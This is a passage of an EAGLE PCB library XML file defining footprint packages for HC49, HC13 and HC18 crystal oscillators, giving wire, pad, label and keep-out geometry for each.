name=\"HC49TL-H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"5.334\" y1=\"-5.715\" x2=\"-5.461\" y2=\"-5.715\" width=\"0.8128\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"7.366\" x2=\"1.143\" y2=\"7.366\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"7.366\" x2=\"-4.445\" y2=\"7.366\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"7.366\" x2=\"5.08\" y2=\"6.731\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"6.731\" x2=\"-4.445\" y2=\"7.366\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-0.3302\" y1=\"5.715\" x2=\"-0.3302\" y2=\"3.175\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"3.175\" x2=\"0.3048\" y2=\"3.175\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"3.175\" x2=\"0.3048\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"5.715\" x2=\"-0.3302\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"5.715\" x2=\"0.9398\" y2=\"4.445\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"5.715\" x2=\"-0.9398\" y2=\"4.445\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"4.445\" x2=\"2.032\" y2=\"4.445\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"4.445\" x2=\"0.9398\" y2=\"3.175\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"4.445\" x2=\"-2.032\" y2=\"4.445\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"4.445\" x2=\"-0.9398\" y2=\"3.175\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-5.842\" x2=\"-2.413\" y2=\"-7.62\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-5.842\" x2=\"2.413\" y2=\"-7.62\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"-5.715\" x2=\"5.08\" y2=\"6.731\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"6.731\" x2=\"-5.08\" y2=\"-5.715\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"7.366\" x2=\"-1.143\" y2=\"7.366\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0\" y1=\"7.874\" x2=\"0\" y2=\"7.62\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.413\" y=\"-7.62\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.413\" y=\"-7.62\" drill=\"0.8128\"/>\n<pad name=\"3\" x=\"0\" y=\"7.874\" drill=\"0.8128\"/>\n<text x=\"-5.461\" y=\"-4.445\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-4.699\" size=\"1.27\" layer=\"27\" ratio=\"10\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.3048\" y1=\"7.366\" x2=\"0.3048\" y2=\"7.5692\" layer=\"51\"/>\n<rectangle x1=\"-6.35\" y1=\"-6.985\" x2=\"6.35\" y2=\"-4.445\" layer=\"43\"/>\n<rectangle x1=\"-5.715\" y1=\"-4.445\" x2=\"5.715\" y2=\"8.255\" layer=\"43\"/>\n</package>\n<package name=\"HC49U-H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-5.08\" y1=\"-3.175\" x2=\"5.08\" y2=\"-3.175\" width=\"0.8128\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"9.906\" x2=\"-4.445\" y2=\"9.906\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"9.906\" x2=\"5.08\" y2=\"9.271\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"9.271\" x2=\"-4.445\" y2=\"9.906\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-0.3302\" y1=\"8.255\" x2=\"-0.3302\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"5.715\" x2=\"0.3048\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"5.715\" x2=\"0.3048\" y2=\"8.255\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"8.255\" x2=\"-0.3302\" y2=\"8.255\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"8.255\" x2=\"0.9398\" y2=\"6.985\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"8.255\" x2=\"-0.9398\" y2=\"6.985\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"6.985\" x2=\"1.905\" y2=\"6.985\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"6.985\" x2=\"0.9398\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"6.985\" x2=\"-1.905\" y2=\"6.985\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"6.985\" x2=\"-0.9398\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-3.302\" x2=\"-2.413\" y2=\"-5.08\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-3.302\" x2=\"2.413\" y2=\"-5.08\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"-3.175\" x2=\"5.08\" y2=\"9.271\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"9.271\" x2=\"-5.08\" y2=\"-3.175\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.413\" y=\"-5.08\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.413\" y=\"-5.08\" drill=\"0.8128\"/>\n<text x=\"-5.461\" y=\"-1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-6.35\" y1=\"-4.445\" x2=\"6.35\" y2=\"-1.905\" layer=\"43\"/>\n<rectangle x1=\"-5.715\" y1=\"-1.905\" x2=\"5.715\" y2=\"10.795\" layer=\"43\"/>\n</package>\n<package name=\"HC49U-LM\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-5.08\" y1=\"-3.175\" x2=\"5.08\" y2=\"-3.175\" width=\"0.8128\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"9.906\" x2=\"-4.445\" y2=\"9.906\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"9.906\" x2=\"5.08\" y2=\"9.271\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"9.271\" x2=\"-4.445\" y2=\"9.906\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.572\" y1=\"3.81\" x2=\"4.572\" y2=\"3.81\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"8.255\" x2=\"-0.3302\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"5.715\" x2=\"0.3048\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"5.715\" x2=\"0.3048\" y2=\"8.255\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"8.255\" x2=\"-0.3302\" y2=\"8.255\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"8.255\" x2=\"0.9398\" y2=\"6.985\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"8.255\" x2=\"-0.9398\" y2=\"6.985\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"6.985\" x2=\"2.54\" y2=\"6.985\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"6.985\" x2=\"0.9398\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"6.985\" x2=\"-2.54\" y2=\"6.985\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"6.985\" x2=\"-0.9398\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-3.302\" x2=\"-2.413\" y2=\"-5.08\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-3.302\" x2=\"2.413\" y2=\"-5.08\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.048\" x2=\"5.08\" y2=\"-3.175\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"4.572\" x2=\"5.08\" y2=\"9.271\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.572\" y1=\"3.81\" x2=\"5.08\" y2=\"3.81\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.81\" x2=\"5.715\" y2=\"3.81\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.81\" x2=\"5.08\" y2=\"3.048\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.81\" x2=\"5.08\" y2=\"4.572\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"3.175\" x2=\"-5.08\" y2=\"-3.175\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"4.445\" x2=\"-5.08\" y2=\"9.271\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"3.81\" x2=\"-5.715\" y2=\"3.81\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"4.445\" x2=\"-5.08\" y2=\"3.175\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.413\" y=\"-5.08\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.413\" y=\"-5.08\" drill=\"0.8128\"/>\n<pad name=\"M\" x=\"-5.715\" y=\"3.81\" drill=\"0.8128\"/>\n<pad name=\"M1\" x=\"5.715\" y=\"3.81\" drill=\"0.8128\"/>\n<text x=\"-5.08\" y=\"10.414\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.572\" y=\"0\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-5.715\" y1=\"-5.08\" x2=\"5.715\" y2=\"10.795\" layer=\"43\"/>\n</package>\n<package name=\"HC49U-V\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-2.921\" y1=\"-2.286\" x2=\"2.921\" y2=\"-2.286\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"2.286\" x2=\"2.921\" y2=\"2.286\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.778\" x2=\"2.921\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.778\" x2=\"-2.921\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.778\" x2=\"2.921\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"2.921\" y1=\"2.286\" x2=\"2.921\" y2=\"-2.286\" width=\"0.4064\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"-2.921\" y1=\"2.286\" x2=\"-2.921\" y2=\"-2.286\" width=\"0.4064\" layer=\"21\" curve=\"180\"/>\n<wire x1=\"-2.921\" y1=\"1.778\" x2=\"-2.921\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\" curve=\"180\"/>\n<wire x1=\"-0.254\" y1=\"0.889\" x2=\"0.254\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0.889\" x2=\"0.254\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"-0.889\" x2=\"-0.254\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"-0.889\" x2=\"-0.254\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.889\" x2=\"0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"0.635\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0.889\" x2=\"-0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-0.635\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"1.27\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.413\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.413\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-5.08\" y=\"2.921\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-4.191\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-3.81\" y1=\"-2.794\" x2=\"3.81\" y2=\"2.794\" layer=\"43\"/>\n<rectangle x1=\"-4.318\" y1=\"-2.54\" x2=\"-3.81\" y2=\"2.54\" layer=\"43\"/>\n<rectangle x1=\"-4.826\" y1=\"-2.286\" x2=\"-4.318\" y2=\"2.286\" layer=\"43\"/>\n<rectangle x1=\"-5.334\" y1=\"-1.778\" x2=\"-4.826\" y2=\"1.778\" layer=\"43\"/>\n<rectangle x1=\"-5.588\" y1=\"-1.27\" x2=\"-5.334\" y2=\"1.016\" layer=\"43\"/>\n<rectangle x1=\"3.81\" y1=\"-2.54\" x2=\"4.318\" y2=\"2.54\" layer=\"43\"/>\n<rectangle x1=\"4.318\" y1=\"-2.286\" x2=\"4.826\" y2=\"2.286\" layer=\"43\"/>\n<rectangle x1=\"4.826\" y1=\"-1.778\" x2=\"5.334\" y2=\"1.778\" layer=\"43\"/>\n<rectangle x1=\"5.334\" y1=\"-1.016\" x2=\"5.588\" y2=\"1.016\" layer=\"43\"/>\n</package>\n<package name=\"HC49U70\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-3.048\" y1=\"-2.54\" x2=\"3.048\" y2=\"-2.54\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"2.54\" x2=\"3.048\" y2=\"2.54\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"-2.032\" x2=\"3.048\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"1.016\" x2=\"-0.3302\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"-1.016\" x2=\"0.3048\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"-1.016\" x2=\"0.3048\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"1.016\" x2=\"-0.3302\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.6858\" y1=\"1.016\" x2=\"0.6858\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.6858\" y1=\"1.016\" x2=\"-0.6858\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.6858\" y1=\"0\" x2=\"1.397\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.6858\" y1=\"0\" x2=\"0.6858\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.6858\" y1=\"0\" x2=\"-1.397\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.6858\" y1=\"0\" x2=\"-0.6858\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"2.54\" x2=\"-3.048\" y2=\"-2.54\" width=\"0.4064\" layer=\"21\" curve=\"180\"/>\n<wire x1=\"3.048\" y1=\"2.54\" x2=\"3.048\" y2=\"-2.54\" width=\"0.4064\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"-3.048\" y1=\"-2.032\" x2=\"-3.048\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"3.048\" y1=\"2.032\" x2=\"3.048\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"-180\"/>\n<wire x1=\"3.048\" y1=\"2.032\" x2=\"-3.048\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.413\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.413\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-5.08\" y=\"3.175\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-4.445\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-4.572\" y1=\"-2.794\" x2=\"-4.064\" y2=\"2.794\" layer=\"43\"/>\n<rectangle x1=\"-5.08\" y1=\"-2.54\" x2=\"-4.572\" y2=\"2.54\" layer=\"43\"/>\n<rectangle x1=\"-5.588\" y1=\"-2.032\" x2=\"-5.08\" y2=\"2.032\" layer=\"43\"/>\n<rectangle x1=\"-5.842\" y1=\"-1.27\" x2=\"-5.588\" y2=\"1.27\" layer=\"43\"/>\n<rectangle x1=\"-4.064\" y1=\"-3.048\" x2=\"4.064\" y2=\"3.048\" layer=\"43\"/>\n<rectangle x1=\"4.064\" y1=\"-2.794\" x2=\"4.572\" y2=\"2.794\" layer=\"43\"/>\n<rectangle x1=\"4.572\" y1=\"-2.54\" x2=\"5.08\" y2=\"2.54\" layer=\"43\"/>\n<rectangle x1=\"5.08\" y1=\"-2.032\" x2=\"5.588\" y2=\"2.032\" layer=\"43\"/>\n<rectangle x1=\"5.588\" y1=\"-1.27\" x2=\"5.842\" y2=\"1.27\" layer=\"43\"/>\n</package>\n<package name=\"HC13U-H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-9.906\" y1=\"-3.048\" x2=\"-9.271\" y2=\"-3.048\" width=\"1.27\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"-3.048\" x2=\"9.271\" y2=\"-3.048\" width=\"1.27\" layer=\"21\"/>\n<wire x1=\"9.271\" y1=\"-3.048\" x2=\"9.906\" y2=\"-3.048\" width=\"1.27\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"33.401\" x2=\"-8.636\" y2=\"33.401\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"32.766\" x2=\"-8.636\" y2=\"33.401\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.636\" y1=\"33.401\" x2=\"9.271\" y2=\"32.766\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-9.017\" y1=\"15.24\" x2=\"9.017\" y2=\"15.24\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"21.59\" x2=\"-0.3302\" y2=\"19.05\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"19.05\" x2=\"0.3048\" y2=\"19.05\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"19.05\" x2=\"0.3048\" y2=\"21.59\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"21.59\" x2=\"-0.3302\" y2=\"21.59\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"21.59\" x2=\"0.9398\" y2=\"20.32\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"21.59\" x2=\"-0.9398\" y2=\"20.32\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"20.32\" x2=\"1.905\" y2=\"20.32\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"20.32\" x2=\"0.9398\" y2=\"19.05\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"20.32\" x2=\"-1.905\" y2=\"20.32\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"20.32\" x2=\"-0.9398\" y2=\"19.05\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"9.144\" y1=\"15.24\" x2=\"10.16\" y2=\"15.24\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-10.16\" y1=\"15.24\" x2=\"-9.144\" y2=\"15.24\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-6.223\" y1=\"-3.175\" x2=\"-6.223\" y2=\"-5.08\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"6.223\" y1=\"-3.175\" x2=\"6.223\" y2=\"-5.08\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"9.271\" y1=\"15.748\" x2=\"9.271\" y2=\"32.766\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.271\" y1=\"14.732\" x2=\"9.271\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.271\" y1=\"15.748\" x2=\"9.271\" y2=\"14.732\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-9.271\" y1=\"14.732\" x2=\"-9.271\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"15.748\" x2=\"-9.271\" y2=\"32.766\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.271\" y1=\"15.748\" x2=\"-9.271\" y2=\"14.732\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-6.223\" y=\"-5.08\" drill=\"1.016\"/>\n<pad name=\"2\" x=\"6.223\" y=\"-5.08\" drill=\"1.016\"/>\n<pad name=\"M\" x=\"-10.16\" y=\"15.24\" drill=\"0.8128\"/>\n<pad name=\"M1\" x=\"10.16\" y=\"15.24\" drill=\"0.8128\"/>\n<text x=\"-10.16\" y=\"0\" size=\"1.778\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-1.27\" size=\"1.778\" layer=\"27\" ratio=\"10\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-10.795\" y1=\"-5.08\" x2=\"10.795\" y2=\"34.925\" layer=\"43\"/>\n</package>\n<package name=\"HC18U-H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"5.461\" y1=\"-3.175\" x2=\"5.08\" y2=\"-3.175\" width=\"0.8128\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-3.175\" x2=\"-5.08\" y2=\"-3.175\" width=\"0.8128\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-3.175\" x2=\"-5.461\" y2=\"-3.175\" width=\"0.8128\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"10.16\" x2=\"-4.445\" y2=\"10.16\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"10.16\" x2=\"5.08\" y2=\"9.525\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"9.525\" x2=\"-4.445\" y2=\"10.16\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.572\" y1=\"3.81\" x2=\"4.572\" y2=\"3.81\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"8.255\" x2=\"-0.3302\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"5.715\" x2=\"0.3048\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"5.715\" x2=\"0.3048\" y2=\"8.255\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"8.255\" x2=\"-0.3302\" y2=\"8.255\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"8.255\" x2=\"0.9398\" y2=\"6.985\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"8.255\" x2=\"-0.9398\" y2=\"6.985\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"6.985\" x2=\"2.54\" y2=\"6.985\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"6.985\" x2=\"0.9398\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"6.985\" x2=\"-2.54\" y2=\"6.985\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"6.985\" x2=\"-0.9398\" y2=\"5.715\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"-3.302\" x2=\"-2.54\" y2=\"-5.08\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"-3.302\" x2=\"2.54\" y2=\"-5.08\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.048\" x2=\"5.08\" y2=\"-3.175\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"4.572\" x2=\"5.08\" y2=\"9.525\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.572\" y1=\"3.81\" x2=\"5.08\" y2=\"3.81\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.81\" x2=\"5.715\" y2=\"3.81\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.81\" x2=\"5.08\" y2=\"3.048\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"3.81\" x2=\"5.08\" y2=\"4.572\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"3.175\" x2=\"-5.08\" y2=\"-3.175\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"4.445\" x2=\"-5.08\" y2=\"9.525\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"3.81\" x2=\"-5.715\" y2=\"3.81\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"4.445\" x2=\"-5.08\" y2=\"3.175\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"-5.08\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-5.08\" drill=\"0.8128\"/>\n<pad name=\"M\" x=\"-5.715\" y=\"3.81\" drill=\"0.8128\"/>\n<pad name=\"M1\" x=\"5.715\" y=\"3.81\" drill=\"0.8128\"/>\n<text x=\"-5.08\" y=\"10.668\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.445\" y=\"-0.889\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-6.35\" y1=\"-5.08\" x2=\"6.35\" y2=\"10.795\" layer=\"43\"/>\n</package>\n<package name=\"HC18U-V\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"5.08\" y1=\"-1.905\" x2=\"5.08\" y2=\"1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"1.905\" x2=\"-5.08\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"2.54\" x2=\"4.445\" y2=\"2.54\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"-2.54\" x2=\"4.445\" y2=\"-2.54\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"-2.54\" x2=\"5.08\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.445\" y1=\"2.54\" x2=\"5.08\" y2=\"1.905\" width=\"0.4064\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"1.905\" x2=\"-4.445\" y2=\"2.54\" width=\"0.4064\" layer=\"21\" 